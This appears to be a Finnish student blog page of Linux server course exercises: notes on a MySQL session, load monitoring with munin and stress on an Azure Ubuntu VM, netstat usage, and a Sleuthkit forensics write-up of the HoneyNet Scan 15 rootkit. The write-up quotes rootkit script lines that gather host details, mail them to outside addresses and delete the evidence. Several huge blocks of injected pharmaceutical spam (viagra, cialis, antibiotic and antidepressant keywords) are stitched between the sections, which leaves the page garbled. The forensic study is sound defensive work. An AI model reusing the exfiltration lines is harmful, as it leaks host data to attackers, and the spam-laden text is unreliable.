mysql>

tietokanta toimii, lähdin pois komennolla

quit

 

Lähteet:

VIHONENL: https://vihonenl.wordpress.com/linux-palvelimena/

 

canada viagra ciprofloxacin eye drops ciprofloxacin used for what does ciprofloxacin 500mg treat viagra generic viagra bestellen zovirax pills zovirax cream how long for lexapro to work daily cialis how to wean off lexapro lexapro withdrawal viagra 100 mg 9 levitra at walmart lexapro 10mg viagra ohne rezept auf rechnung levitra prices levitra dosage best price viagra azithromycin and alcohol what is azithromycin used for first few days on lexapro what is azithromycin for azithromycin pregnancy category viagra side effects ciprofloxacin hcl 500 mg side effects liquid cialis generic lexapro finasteride 5mg tab what is tamoxifen azithromycin 500 ciprofloxacin drug class cipro dangers viagra cost lexapro dosing side effects of acyclovir acyclovir cream viagra on line cialis on line lexapro side effects men azithromycin 250mg tablets 6 pack cost of cialis ciprofloxacin class viamedic cialis tamoxifen and foods to avoid cialis generic tadalafil buying viagra finasteride 1mg what does viagra do lexapro dosage azithromycin three times a week how to use viagra finasteride and enlarged prostate side effects of finasteride viagra for sale cialis 5mg daily azithromycin dosage viagra tablets azithromycin 500 erfahrungen what is ciprofloxacin used for ciprofloxacin levitra 10 mg prezzo cheap cialis cialis dosage recommendations cialis coupons what is acyclovir used for viagra tablet viagra activate women viagra tamoxifen lawsuits viagra vs cialis generic for lexapro side effects of finasteride 5mg cialis for sale tamoxifen bijwerkingen viagra samples escitalopram 10 mg weaning off lexapro acyclovir 800 mg 5 times a day azithromycin 250 mg acyclovir for cold sores levitra female viagra viagra price canadian viagra viagra for women generic viagra 100mg cialis cialis 30 day trial coupon ciprofloxacin 500mg tablets lexapro and wellbutrin combination therapy erectile dysfunction cialis where to buy viagra escitalopram effets secondaires pfizer viagra lexapro side effects escitalopram nebenwirkungen acyclovir dosing is ciprofloxacin a penicillin levitra coupons tamoxifen langzeitfolgen cialis for men lexapro side effects in men lexapro and weight gain in women generic cialis tadalafil cialis cost viagra vs cialis vs levitra acyclovir ointment 5 lexapro 20mg zithromax antibiotic cialis online acyclovir 800 mg for shingles cialis 20mg cipro 500 viagra costs revatio vs viagra cialis coupons printable escitalopram 10 mg para que sirve cialis for daily use azithromycin coverage viagra 50mg withdrawal from lexapro cialis professional free cialis viagra canada viagra natural side effects of ciprofloxacin finasteride reviews viagra wiki cialis from canada azithromycin pregnancy over the counter viagra side effects of azithromycin 250 mg lexapro and weight gain cialis medication cialis discount tamoxifen and weight gain side effects of tamoxifen zovirax for cold sores viagra effects buy cialis viagra en ligne livraison 24h acyclovir dosage for cold sores cialis price generic levitra vardenafil 20mg acyclovir dosage viagra alternative cialis without a doctor’s prescription lexapro bula what is ciprofloxacin lexapro para que sirve azithromycin class finasteride hair loss acyclovir 800 mg ciprofloxacin nebenwirkungen viagra levitra 20mg discount cialis what is cialis ciprofloxacin dose acyclovir 400mg cipro side effects cipro dosage sophia viagra azithromycin side effects acyclovir for shingles levitra 20 mg precio farmacia azithromycin without a doctor’s prescription cialis generic pfizer viagra coupons from pfizer lexapro manufacturer website ciprofloxacin 250mg side effects lexapro is azithromycin penicillin how to take cialis lexapro vs zoloft viagra kaufen viagra receptfritt levitra generic cialis daily lexapro overdose ciprofloxacin coverage viagra prices viagra online what is lexapro for ciprofloxacin 500 mg for urinary tract infection what is acyclovir for acyclovir 400 mg wellbutrin and lexapro cost of viagra cialis voucher viagra pill finasteride effets secondaires what is cipro used for ciprofloxacin dosage cialis patent expiration date extended finasteride buy levitra cialis copay card side effects of azithromycin what infections does ciprofloxacin treat zovirax dosage levitra coupon cialis vs viagra azithromycin for pneumonia azithromycin pediatric dosing viagra generico cialis 5mg side effects of lexapro discount viagra ciprofloxacin side effects after age 60 tamoxifen interaction cialis pills for sale cialis for women cialis pharmacy prices levitra 20mg cost per pill finasteride efectos secundarios cialis alternative azithromycin levitra rezeptfrei deutschland azithromycin 250 mg treatment herbal viagra finasteride permanent side effects sex viagra for women price cialis ciprofloxacin drops viagra sex tamoxifen citrate azithromycin vs erythromycin levitra without a doctor prescription cipro and tendonitis lexapro medication azithromycin cost zithromax side effects of cialis buy viagra lexapro coupons azithromycin uses what does finasteride do stopping lexapro levitra vs viagra cyalis generic cialis what is cipro usually prescribed for wholesale cialis viagra dosage levitra 20 mg finasteride side effects viagra pills what is azithromycin viagra from canada cialis website lexapro and weight loss lexapro benefits for women celexa vs lexapro ciprofloxacin 500mg antibiotics cialis dosage cialis coupons from manufacturer finasteride side effects in men cialis coupons 2017 azithromycin 250mg levitra 20 mg von bayer viagra ohne rezept aus deutschland levitra online lexapro weight gain does lexapro cause weight gain tamoxifen side effects in women cheap viagra cipro antibiotics what is escitalopram lexapro 5mg azithromycin for strep throat ciprofloxacin 250 mg viagra 100mg tablets retail price finasteride 5mg side effects mayo clinic post finasteride syndrome cealis cialis 10 mg cialis side effects is tamoxifen chemotherapy azithromycine 250 mg finasteride 5mg side effects ciprofloxacin hydrochloride ophthalmic viagra for men lowest cialis prices ciprofloxacin hydrochloride escitalopram 10mg buy generic levitra ciprofloxacin 500 mg ciprofloxacin hcl 500 mg tab cialis patent expiration 2017 cialis or viagra acyclovir vs valacyclovir cipro side effects in elderly ciprofloxacin uses what does azithromycin treat side effects of lexapro in women generic cialis at walmart tamoxifen side effects in women over 55 viagra coupon cialis coupon print what is viagra cipro antibiotic finasteride medication canadian cialis what is finasteride lexapro reviews tamoxifen cost azithromycin eye drops cialis samples levitra prezzo in farmacia generic for cialis ciprofloxacin 500mg antibiotics side effects how much does cialis cost levitra 20 mg cost walmart ciprofloxacin ophthalmic solution lexapro vs celexa finasteride dosage cilias cialis reviews lexapro 10 mg viagra 100 azithromycin 500 mg nolvadex ciprofloxacin side effects in women ciprofloxacin for dogs finasteride results ciprofloxacin hcl 500 mg azithromycine eg 500 mg bijsluiter online cialis vardenafil vs viagra cialis 20mg directions cialis savings card viagra soft acyclovir cialis free trial viagra vs cialis vs levitra escitalopram side effects when will cialis go generic escitalopram escitalopram 20 mg lexapro withdrawal symptoms cialis coupon 20 mg viagra 100mg utilisation viagra viagra without a doctor prescription what is lexapro used for azithromycin liquid equipe argentine viagra finasteride for hair loss what works better than viagra ciprofloxacin 500mg viagra medicine viagra for sale uk cialis effects zithromax z-pak what is finasteride used for acyclovir 200mg natural viagra ciprofloxacin dosierung buy generic viagra is lexapro a controlled substance viagra alternatives viagra substitute side effects of lexapro 10 mg viagra tesco cialis trial cipro uses acyclovir side effects acyclovir medication cipro for uti 200 cialis coupon thuoc azithromycin propecia side effects azithromycin z pak azithromycin medscape cialis coupon levitra vs viagra vardenafil 20mg cialis cheap cheap levitra order viagra cipro drug class cialis 30 day sample cialis canadian pharmacy cialis generic availability levitra vs viagra for hardness cialis pricing cialis testimonials ciprofloxacin 500 cialas viagra pillen kruidvat tamoxifen nebenwirkungen viagra wikipedia levitra erfahrungen ciprofloxacin hcl lexapro generic name finasteride 5 mg tab azithromycin for uti cialis pills cialis samples overnight tamoxifen side effects cialis for bph viagra cialis what is cipro buy cialis online zovirax azithromycin 500mg viagra single packs is azithromycin cialis 5 mg zovirax ointment escitalopram oxalate cialis sample finasteride for women lexapro side effects in women how does cialis work how to wean off lexapro without withdrawals acyclovir dose acyclovir ointment cialis 20 mg viagra vs cialis generic viagra lexapro azithromycin tablet cipro finasteride 5mg effects of stopping finasteride viagra uk lexapro for anxiety finasteride vs dutasteride how does acyclovir work tamoxifen therapy ciprofloxacin bnf azithromycin drug class what is tamoxifen used for zoloft vs lexapro what is acyclovir ciprofloxacin spc viagra on line no prec effects of stopping lexapro suddenly what is lexapro how long for azithromycin to take effect common side effects of ciprofloxacin 500 mg side effects of viagra finasteride tablets canada cialis viagra coupons generic levitra lexapro dosages lexapro vs wellbutrin cialis canada ciprofloxacin 500 mg tabletten finasteride 5 mg finasteride long term effects what is ciprofloxacin prescribed for cialis prices azithromycin tablets cialis tadalafil how does viagra work propecia levitra bayer 20mg meilleur prix how long does viagra last tamoxifen azithromycin 250 what does ciprofloxacin treat viagra without a doctor prescription usa tamoxifen and bone pain what bacteria does ciprofloxacin kill cialis patent expiration zithromax 500 mg cialis dosage strengths buy viagra online azithromycin 5 day dose pack antibiotic ciprofloxacin how does lexapro work acyclovir 800mg zithromax dosage viagra nebenwirkungen buy levitra online lexapro generic azithromycine online viagra cialis vs viagra side effects of ciprofloxacin 500 mg viagra sans ordonnance cialis otc free viagra how to get off lexapro ciprofloxacin side effects

Kuormitus ja lokit

Kerää kuormitustietoja munin -ohjelmalla
– Kuormita konetta stress:llä
– Käytä tunnilla käytyjä työkaluja arvioidaksesi kuormitusta: cpu, mem, io…
– Lopuksi analysoi munin keräämiä käyriä
– Aiheuta valitsemaasi lokiin muutamia rivejä ja analysoi niistä 2-3 riviä perusteellisest

 

Työskentelyympäristön vaihto – Linux virtuaalikone MS Azure Iaas pilvissä:

Kesällä suoritin Cloud Services kurssia jossa olen tutustunut Microsoft Azuren IaaS ratkaisuihin. Käytin Windos Server 2012 virtuaalikonetta projektin suorittamiseen. Nyt on hyvää tilaisuus tutustua Linux palvelimiin SSH etähallinalla koska ymmärsin että käytämme töyskentelyyn komentokehotetta.

Olen luonnut Microsoft Azuren virtuaalikoneseen asennettua Ubuntu 16.04 LTS johon saa kätevästi yhteyttä SSH:lla. Virtuaalikonen koko on A1 Standard (1 core, 1,75GB RAM, 40GB HDD). Järjestelmä on luonut virtuaaliverkon, antanut konelle public IP osoite ja avannut Endpoint (portti) 22 SSh yhteyttä varten. Samalla on perustettu “Network Security Group” jossa määritellään virtuaaliverkon parametrit. Data Center valintani on “West Europe” (Alankomaat) koska niin voidaan tarvittaessa käsitellä ja säilyttää EU:n kansallaisten henkilötietoja lainsäädäntön vaatimalla tavalla (EU:n .

sudo apt-get update – päivitin Ubuntun

sudo apt-get-install munin – käynisti munin asennuksen, valmis

sudo apt-get-install stress – käynisti stressin asennuksen, valmis

 

Kokeilen ensin netstatin käyttöä.

netstat -? tai -help antoi

netstat -pea  -inet (ei näy kaikki tietoja ilman root oikeuksia)

 

netstat -inet    näytti “Kernel Interface table”asetukset korteille: eth0 & lo(loopback)

sudo netstat -pea  (yhdistelmä)

  • -p, –programs           display PID/Program name for sockets
  • -e, –extend             display other/more information
  • -a, –all, –listening   display all sockets (default: connected)

 

-a  eli all näyttää”Active Connections” luettelon yhteyksistä, joista näytti:

  • käyttävän protokollan  – käytetyt osoiteet  (lähtöosoite:porti & kohdeosoite:portti)
  • yhteyden nykytilan (Listen/Time_WAIT/Established)
  • yhteyden omistajan (root/syslog).
MUNIN:
NAME
       munin - Munin manpage hub

DESCRIPTION
       Munin is a group of programs to gather data from hosts, graph them,
       create html-pages, and optionally warn contacts about any off-limit
       values.

       The Munin master contains the following programs:
        munin-update - to gather data from machines running munin-node.
        munin-graph  - to create graphs from data contained in rrd-files.
        munin-limits - to check for any off-limit values.
        munin-html   - to draw html-pages on an Munin installation
        munin-cron   - to batch other munin programs

 

withdrawal from lexapro azithromycin eye drops azithromycin drug class azithromycin 250mg cialis dosage strengths discount cialis viagra pills acyclovir dosage for cold sores cost of viagra cialis vs viagra tamoxifen therapy viagra from canada cialis coupons from manufacturer azithromycin and alcohol ciprofloxacin hcl 500 mg tab ciprofloxacin 250mg canadian cialis azithromycin cost viagra 100 mg cialis cost viagra without a doctor prescription usa canadian viagra what is cipro ciprofloxacin 500mg antibiotics ciprofloxacin 500 mg tabletten ciprofloxacin hcl 500 mg ciprofloxacin class what works better than viagra cilias ciprofloxacin hydrochloride azithromycin for strep throat what infections does ciprofloxacin treat how long for lexapro to work azithromycin 250mg tablets 6 pack cialis coupon 20 mg tamoxifen lawsuits sex viagra for women azithromycin uses cialis 5 mg how to wean off lexapro without withdrawals azithromycin 250 effects of stopping lexapro suddenly viagra for men buy generic viagra viagra for sale uk ciprofloxacin dosage levitra 20mg cost per pill cialas how does cialis work cialis price acyclovir for shingles viagra 50mg zovirax pills finasteride 5mg tab what is ciprofloxacin used for wholesale cialis post finasteride syndrome zovirax ointment lexapro vs celexa cialis side effects azithromycin viagra sex zovirax cream lexapro 10mg cipro and tendonitis viagra bestellen lexapro side effects men what bacteria does ciprofloxacin kill cipro drug class online cialis viagra for sale cealis zithromax antibiotic cialis sample weaning off lexapro azithromycin pediatric dosing viagra prices what does ciprofloxacin 500mg treat ciprofloxacin bnf viagra on line cialis canada vardenafil vs viagra ciprofloxacin 250 mg lexapro viagra dosage what is cipro used for how to get off lexapro lexapro generic name canada cialis finasteride 5mg viagra vs cialis vs levitra azithromycin liquid generic lexapro how to use viagra viagra vs cialis vs levitra finasteride 5 mg tab viamedic cialis ciprofloxacin coverage viagra receptfritt azithromycin dosage levitra vs viagra viagra for women wellbutrin and lexapro cialis reviews what is cipro usually prescribed for levitra dosage cialis dosage recommendations what is lexapro used for cialis patent expiration 2017 cialis otc cialis on line canada viagra cialis for men where to buy viagra cialis 5mg viagra samples finasteride 5mg side effects mayo clinic cipro 500 lexapro vs wellbutrin finasteride for hair loss 200 cialis coupon escitalopram effets secondaires levitra rezeptfrei deutschland azithromycin 5 day dose pack is azithromycin lexapro side effects in men escitalopram 10 mg cipro antibiotic finasteride medication is azithromycin penicillin viagra generic lexapro bula zithromax dosage side effects of finasteride finasteride permanent side effects ciprofloxacin 500mg antibiotics side effects lexapro dosages herbal viagra antibiotic ciprofloxacin levitra prices tamoxifen side effects finasteride reviews levitra generic is tamoxifen chemotherapy cialis discount women viagra ciprofloxacin 500 mg over the counter viagra azithromycine 250 mg acyclovir dosage what is tamoxifen ciprofloxacin hcl 500 mg side effects cipro uses acyclovir cream how does acyclovir work viagra on line no prec price cialis zovirax for cold sores ciprofloxacin drops cialis dosage revatio vs viagra viagra natural viagra en ligne livraison 24h cialis for bph cialis trial azithromycin tablet what is escitalopram viagra wiki finasteride 5mg side effects finasteride 1mg what is acyclovir used for daily cialis acyclovir 400 mg cialis samples overnight cialis pharmacy prices viagra effects acyclovir for cold sores lexapro 5mg tamoxifen and bone pain levitra coupons levitra erfahrungen viagra side effects sophia viagra side effects of cialis nolvadex escitalopram 20 mg best price viagra tamoxifen and foods to avoid viagra coupons what is azithromycin for cialis 20mg directions levitra viagra cialis cialis generic levitra 10 mg prezzo side effects of acyclovir azithromycin 500 erfahrungen cialis effects propecia side effects viagra single packs what is acyclovir for what is viagra azithromycin side effects cialis canadian pharmacy first few days on lexapro escitalopram 10mg cialis alternative ciprofloxacin hydrochloride ophthalmic what is ciprofloxacin prescribed for what is finasteride used for ciprofloxacin for dogs acyclovir dose lexapro and wellbutrin combination therapy lowest cialis prices generic cialis at walmart azithromycin 500mg acyclovir 800 mg viagra tablet azithromycin without a doctor’s prescription tamoxifen langzeitfolgen common side effects of ciprofloxacin 500 mg levitra 20 mg cost walmart zithromax 500 mg 9 levitra at walmart how long for azithromycin to take effect cialis 10 mg ciprofloxacin dose ciprofloxacin dosierung cialis cheap acyclovir vs valacyclovir viagra 100mg tablets retail price cheap cialis thuoc azithromycin buy cialis online cialis coupon lexapro vs zoloft how much does cialis cost viagra ohne rezept aus deutschland levitra vs viagra for hardness viagra wikipedia what is finasteride ciprofloxacin ophthalmic solution lexapro side effects acyclovir medication side effects of ciprofloxacin side effects of azithromycin 250 mg ciprofloxacin spc cialis pricing azithromycin 500 buy levitra online lexapro manufacturer website lexapro 10 mg acyclovir cialis online cialis samples cialis for women escitalopram what is ciprofloxacin cipro side effects cialis pills for sale tamoxifen nebenwirkungen cialis savings card lexapro benefits for women tamoxifen side effects in women acyclovir 800 mg 5 times a day viagra medicine levitra bayer 20mg meilleur prix levitra prezzo in farmacia finasteride efectos secundarios lexapro withdrawal symptoms escitalopram side effects viagra alternative buying viagra azithromycin vs erythromycin does lexapro cause weight gain finasteride results erectile dysfunction cialis buy cialis cialis generic availability escitalopram nebenwirkungen lexapro and weight loss ciprofloxacin used for side effects of viagra escitalopram oxalate acyclovir 200mg utilisation viagra ciprofloxacin 500 lexapro dosage side effects of ciprofloxacin 500 mg finasteride and enlarged prostate what does azithromycin treat cipro dangers cialis free trial cialis professional azithromycin for pneumonia viagra sans ordonnance generic for lexapro finasteride 5 mg viagra costs side effects of tamoxifen generic viagra 100mg azithromycin pregnancy what is cialis lexapro medication cialis coupons printable cheap levitra propecia zithromax what is azithromycin used for cialis pills acyclovir dosing how does lexapro work zoloft vs lexapro how long does viagra last ciprofloxacin 500 mg for urinary tract infection cialis or viagra levitra vs viagra finasteride side effects in men what does ciprofloxacin treat free cialis cialis testimonials lexapro and weight gain acyclovir 800mg lexapro overdose side effects of lexapro 10 mg generic levitra ciprofloxacin side effects levitra coupon viagra pill cipro dosage ciprofloxacin drug class viagra tesco cheap viagra finasteride generic cialis side effects of finasteride 5mg is lexapro a controlled substance free viagra effects of stopping finasteride lexapro generic ciprofloxacin nebenwirkungen finasteride effets secondaires cialis patent expiration date extended viagra generico buy generic levitra finasteride vs dutasteride ciprofloxacin uses lexapro withdrawal azithromycine generic cialis tadalafil levitra online finasteride for women ciprofloxacin 500mg tamoxifen viagra tablets cialis for sale viagra without a doctor prescription acyclovir ointment side effects of azithromycin acyclovir 800 mg for shingles cipro for uti cipro cialis 30 day trial coupon viagra price viagra alternatives zovirax dosage cyalis azithromycin three times a week cialis patent expiration tamoxifen and weight gain finasteride tablets lexapro para que sirve buy viagra tamoxifen side effects in women over 55 celexa vs lexapro cialis coupons acyclovir side effects cialis tadalafil cialis daily ciprofloxacin 500mg tablets what is lexapro azithromycin class pfizer viagra coupons from pfizer cialis medication tamoxifen citrate viagra kaufen levitra 20 mg precio farmacia generic viagra finasteride long term effects viagra substitute is ciprofloxacin a penicillin online viagra what is acyclovir ciprofloxacin vardenafil 20mg ciprofloxacin side effects after age 60 how to wean off lexapro discount viagra lexapro coupons cialis buy levitra tamoxifen interaction stopping lexapro buy viagra online viagra soft cialis copay card side effects of lexapro in women ciprofloxacin hcl viagra ohne rezept auf rechnung what is lexapro for azithromycin pregnancy category cialis coupons 2017 cialis voucher acyclovir ointment 5 azithromycin 500 mg viagra vs cialis cialis 30 day sample ciprofloxacin eye drops finasteride hair loss viagra uk viagra coupon azithromycin coverage natural viagra viagra nebenwirkungen generic for cialis cialis website azithromycin 250 mg treatment liquid cialis viagra pillen kruidvat ciprofloxacin side effects in women tamoxifen bijwerkingen lexapro and weight gain in women cialis for daily use cialis 20mg viagra cost lexapro dosing viagra canada lexapro side effects in women order viagra viagra 100 cialis without a doctor’s prescription viagra activate azithromycine eg 500 mg bijsluiter lexapro weight gain azithromycin z pak generic levitra vardenafil 20mg cialis coupon print lexapro for anxiety escitalopram 10 mg para que sirve female viagra acyclovir 400mg when will cialis go generic what is azithromycin what does finasteride do how to take cialis tamoxifen cost finasteride dosage zithromax z-pak cipro antibiotics levitra 20mg zovirax azithromycin 250 mg azithromycin tablets finasteride side effects equipe argentine viagra cialis vs viagra azithromycin medscape viagra pfizer viagra lexapro 20mg cost of cialis side effects lexapro viagra 100mg cialis 20 mg levitra 20 mg lexapro reviews cipro side effects in elderly azithromycin for uti cialis from canada what is tamoxifen used for levitra 20 mg von bayer cialis 5mg daily cialis generic tadalafil what does viagra do side effects of lexapro cialis prices viagra vs cialis viagra online how does viagra work levitra without a doctor prescription

Rootkit etsintä

Tehtävänä oli löytää saastetun konen levykuvasta jälkiä rootkitistä.

HoneyNet Scan of the Month 15. http://old.honeynet.org/scans/scan15/

Ratkaisu:

Asensin labran koneseen Xubuntu 14.04  Live USB-tikulta..

Latasin levykuva: http://old.honeynet.org/scans/scan15/

Päivitin pakettitietokannan:

sudo apt-get update

Päätin käyttää “sleuthkit”(lisäätietoa: http://www.sleuthkit.org/) niminen kokoelman,

niin latasin sen komennolla:

sudo apt-get install sleuthkit

menin kansioon missä saastunut levykuva on:

cd /home/Downloads

tarkistetin tarkistussumman:

md5sum honeynet.tar.gz

Summa oli sama kun sivustossa MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21

Olen purkanut levykuvan komennolla:

tar -xvf honey.tar.gz

Purettu levykuva sisältänyt kansion honeynet

screenshot-1

niin olin luonut tähän kansioon vielä kaksi kansiota allocated ja deleted yhdellä konmennolla:

mkdir allocated deleted

palautetaan allocated tiedostot kansioon allocated:

tsk_recover -a honeypot.hda8.dd allocated

1614 tiedostoa oli palautettu

palautetaan poistetut tiedostot kansioon deleted:

tsk_recover honeypot.hda8.dd deleted

37 tiedostoa on palautettu.

Minua enemmän kiinnostavat poistetut tiedostot

siellä löytyy vielä yksi arkisto lk.tgz purkasin sen:

tar -xvf lk.tgz

kansioon last on purettu:

screenshot-2

nimistä linsniffer, logclear voidaan päätää että ollaan lähellä.

komennolla: fls -l honeypot.hda8.dd | less

sain viimeksi käytetyjen tai poistettujen tiedostojen listan.

(komennolla fls saa tietoa mitkä vielä argumentit voi käyttää tällä sleuthkit komennolla)

screenshot-8

viimeiset ovat lk.tgz ja last 03:44 ja 03.45 käyetetty.

 

less install

screenshot-5

screenshot-7

tiedosto on skripti joka siirtää, kopioi ja poistaa tietoja netstat, ifconfig….

käsittelee konen verkkotietoja…

Computer tiedostoon rootkit keräsi tietokoneen tietoja:
echo “* Luam Informatiile dorite …”
echo “* Info : $(uname -a)” >> computer
echo “* Hostname : $(hostname -f)” >> computer
echo “* IfConfig : $(/sbin/ifconfig | grep inet)” >> computer
echo “* Uptime : $(uptime)” >> computer
echo “* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)” >> computer
echo “* Cpu Model : $(cat /proc/cpuinfo|grep model)” >> computer
echo “* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)” >> computer
echo “* Bogomips: $(cat /proc/cpuinfo|grep bogomips)” >> computer
echo “* Spatiu Liber: $(df -h)” >> computer

rivit:

cat computer | mail -s “placinte” last@linuxmail.org

cat computer | mail -s “roote” bidi_damm@yahoo.com

tulostavat computer tietoja ja lähettävät sähköpostia näihin osoiteisiin.

viimeinen rivi:

rm -rf last lk.tgz computer lk.tar.gz

poistaa kansion last ja tiedostot lk.tgz, lk.tar.gz, computer

eli peittää jäljet.

 

less cleaner

Screenshot - 6.png

tämä tiedosto ilmeisesti poistaa jäljet lokeista…..

Lähteet:

http://old.honeynet.org/scans/scan15/

http://www.sleuthkit.org/sleuthkit/man/fls.html

http://www.sleuthkit.org/sleuthkit/man/tsk_recover.html

http://www.cyberciti.biz/faq/tar-extract-linux/

https://jukkapentti.wordpress.com/2013/01/28/scan-of-the-month-15-rootkit/

https://vihonenl.wordpress.com/linux-palvelimena/

http://www.sleuthkit.org/case/sotm_15/

azithromycin 500 mg acyclovir cream what is azithromycin buy viagra online effects of stopping finasteride what is acyclovir cialis trial cialis pharmacy prices how long for azithromycin to take effect liquid cialis levitra 20mg finasteride hair loss side effects of ciprofloxacin 500 mg what is azithromycin used for buy generic viagra what bacteria does ciprofloxacin kill how does lexapro work generic lexapro common side effects of ciprofloxacin 500 mg lexapro dosing lexapro side effects generic levitra vardenafil 20mg ciprofloxacin dosage generic viagra 100mg finasteride 5 mg cialis cheap lexapro generic name escitalopram effets secondaires ciprofloxacin hydrochloride ophthalmic ciprofloxacin drops what is ciprofloxacin acyclovir ointment 5 lexapro cheap viagra is azithromycin penicillin cealis propecia what is finasteride used for tamoxifen nebenwirkungen viagra from canada cialis 30 day trial coupon what is viagra viagra what does viagra do herbal viagra what is finasteride acyclovir for cold sores lexapro side effects in men finasteride permanent side effects tamoxifen langzeitfolgen cialis pills viagra tablets finasteride and enlarged prostate viagra receptfritt what is ciprofloxacin prescribed for when will cialis go generic levitra without a doctor prescription cheap cialis viagra pillen kruidvat levitra bayer 20mg meilleur prix azithromycin uses lexapro reviews azithromycin medscape what is ciprofloxacin used for utilisation viagra lexapro vs zoloft viagra side effects finasteride for women ciprofloxacin hcl 500 mg tab free viagra viagra tablet azithromycine 250 mg azithromycin for strep throat order viagra viagra for sale azithromycin 500 cialis online cialis testimonials lexapro vs celexa how to get off lexapro levitra dosage wholesale cialis what does finasteride do where to buy viagra ciprofloxacin hcl ciprofloxacin hcl 500 mg zovirax pills cialis generic tadalafil lexapro side effects in women azithromycin pediatric dosing cialis medication viagra effects ciprofloxacin lexapro and wellbutrin combination therapy side effects of acyclovir tamoxifen interaction viagra without a doctor prescription usa is ciprofloxacin a penicillin cialis sample lexapro bula lexapro generic cialis canada ciprofloxacin dose cialis savings card what is cialis zithromax azithromycin 500mg azithromycin 250mg daily cialis generic for lexapro tamoxifen bijwerkingen acyclovir azithromycin equipe argentine viagra effects of stopping lexapro suddenly lexapro dosages lexapro 10mg escitalopram 10 mg para que sirve viagra on line no prec acyclovir dosage for cold sores does lexapro cause weight gain finasteride results cialis tadalafil canada viagra ciprofloxacin 500mg antibiotics online viagra cipro and tendonitis azithromycine lexapro 20mg cialis pricing escitalopram 20 mg tamoxifen citrate side effects of lexapro azithromycin z pak finasteride vs dutasteride azithromycin for uti side effects of cialis viagra dosage cialis daily stopping lexapro cipro uses withdrawal from lexapro thuoc azithromycin azithromycin 5 day dose pack what is cipro lexapro dosage cialis 5mg viagra alternative escitalopram 10mg ciprofloxacin eye drops acyclovir 400 mg how to use viagra cialis without a doctor’s prescription lexapro 10 mg cialis 5mg daily ciprofloxacin bnf finasteride 5 mg tab levitra 20 mg von bayer azithromycin pregnancy tamoxifen lawsuits cialis website viagra for women ciprofloxacin hydrochloride viagra coupons free cialis how does acyclovir work online cialis viagra sex ciprofloxacin spc cipro dangers cipro drug class acyclovir 800mg azithromycin without a doctor’s prescription cialis voucher lexapro 5mg what works better than viagra viagra ohne rezept auf rechnung what is lexapro for cialas azithromycin 500 erfahrungen lexapro weight gain zovirax dosage canadian cialis levitra vs viagra for hardness pfizer viagra viagra wiki lexapro and weight loss celexa vs lexapro ciprofloxacin side effects in women lexapro and weight gain viagra single packs viagra coupon zithromax antibiotic lexapro withdrawal tamoxifen side effects viagra pills is azithromycin vardenafil vs viagra what is azithromycin for levitra coupon lexapro vs wellbutrin what is escitalopram how long for lexapro to work cialis effects finasteride efectos secundarios cialis patent expiration date extended ciprofloxacin class viagra tesco azithromycin 250 mg treatment tamoxifen and weight gain ciprofloxacin 500 mg cialis generic azithromycin 250 mg lexapro withdrawal symptoms viagra price azithromycin 250mg tablets 6 pack azithromycin tablets escitalopram generic cialis buy viagra zithromax z-pak levitra 10 mg prezzo viagra cialis viagra substitute what is acyclovir used for generic cialis at walmart lexapro for anxiety acyclovir side effects acyclovir 400mg natural viagra cheap levitra finasteride medication levitra vs viagra women viagra ciprofloxacin coverage side effects of lexapro in women lexapro para que sirve side effects lexapro canadian viagra cialis 20mg directions viagra 100mg tablets retail price ciprofloxacin 500mg tablets tamoxifen cialis coupon print viagra bestellen cipro 500 side effects of tamoxifen cialis coupon 20 mg escitalopram side effects viagra soft cialis alternative generic cialis tadalafil cialis samples cialis side effects generic levitra tamoxifen cost acyclovir medication side effects of azithromycin lexapro manufacturer website side effects of finasteride 5mg female viagra viagra for men azithromycin pregnancy category viagra vs cialis viagra 100 azithromycin three times a week viagra en ligne livraison 24h cialis patent expiration levitra 20mg cost per pill cialis 20 mg zovirax ointment propecia side effects lexapro coupons buy cialis cilias viagra cost cost of cialis cialis reviews zovirax for cold sores finasteride long term effects nolvadex ciprofloxacin 500mg antibiotics side effects tamoxifen therapy ciprofloxacin 500mg buy levitra online cipro antibiotic cialis professional what is lexapro viagra pill cialis for bph viagra ohne rezept aus deutschland ciprofloxacin 500 mg tabletten levitra 20 mg cost walmart finasteride tablets acyclovir vs valacyclovir viagra costs lowest cialis prices cialis vs viagra generic for cialis azithromycin and alcohol ciprofloxacin 250mg cialis cialis free trial cialis cost viagra generico ciprofloxacin uses cipro side effects in elderly zithromax dosage zovirax cream cialis coupons viagra vs cialis buy levitra cialis on line how to take cialis discount viagra sophia viagra cialis for daily use levitra prezzo in farmacia ciprofloxacin 500 finasteride dosage viagra 100mg buying viagra lexapro benefits for women escitalopram 10 mg azithromycin cost erectile dysfunction cialis lexapro side effects men cost of viagra what does ciprofloxacin treat viagra alternatives generic viagra what is tamoxifen used for 9 levitra at walmart viagra medicine levitra side effects of finasteride levitra 20 mg precio farmacia post finasteride syndrome viagra 50mg cialis otc cialis for women azithromycin tablet finasteride 5mg tab cialis dosage strengths cipro side effects what is tamoxifen what is cipro usually prescribed for acyclovir for shingles cialis 20mg ciprofloxacin side effects zoloft vs lexapro canada cialis acyclovir dosing cialis copay card how to wean off lexapro without withdrawals cialis generic availability side effects of viagra viagra wikipedia cialis discount antibiotic ciprofloxacin viagra nebenwirkungen finasteride 1mg tamoxifen and foods to avoid cialis prices levitra rezeptfrei deutschland how does viagra work side effects of lexapro 10 mg side effects of ciprofloxacin azithromycin liquid viagra vs cialis vs levitra viagra on line viagra generic levitra erfahrungen ciprofloxacin dosierung azithromycin vs erythromycin sex viagra for women tamoxifen side effects in women over 55 zithromax 500 mg ciprofloxacin nebenwirkungen cialis coupons from manufacturer acyclovir dose azithromycin eye drops viagra vs cialis vs levitra viagra natural wellbutrin and lexapro viagra without a doctor prescription finasteride effets secondaires ciprofloxacin 500 mg for urinary tract infection revatio vs viagra azithromycine eg 500 mg bijsluiter finasteride 5mg how long does viagra last cialis vs viagra cipro antibiotics side effects of azithromycin 250 mg 200 cialis coupon levitra vs viagra viamedic cialis cialis dosage how much does cialis cost finasteride side effects is tamoxifen chemotherapy levitra prices cialis coupons 2017 ciprofloxacin side effects after age 60 acyclovir dosage how to wean off lexapro what does ciprofloxacin 500mg treat cialis for sale is lexapro a controlled substance azithromycin coverage cialis coupons printable viagra 100 mg zovirax lexapro medication finasteride side effects in men how does cialis work finasteride for hair loss what is lexapro used for finasteride reviews cipro for uti levitra online over the counter viagra viagra canada cialis canadian pharmacy acyclovir 800 mg for shingles azithromycin drug class lexapro and weight gain in women escitalopram nebenwirkungen 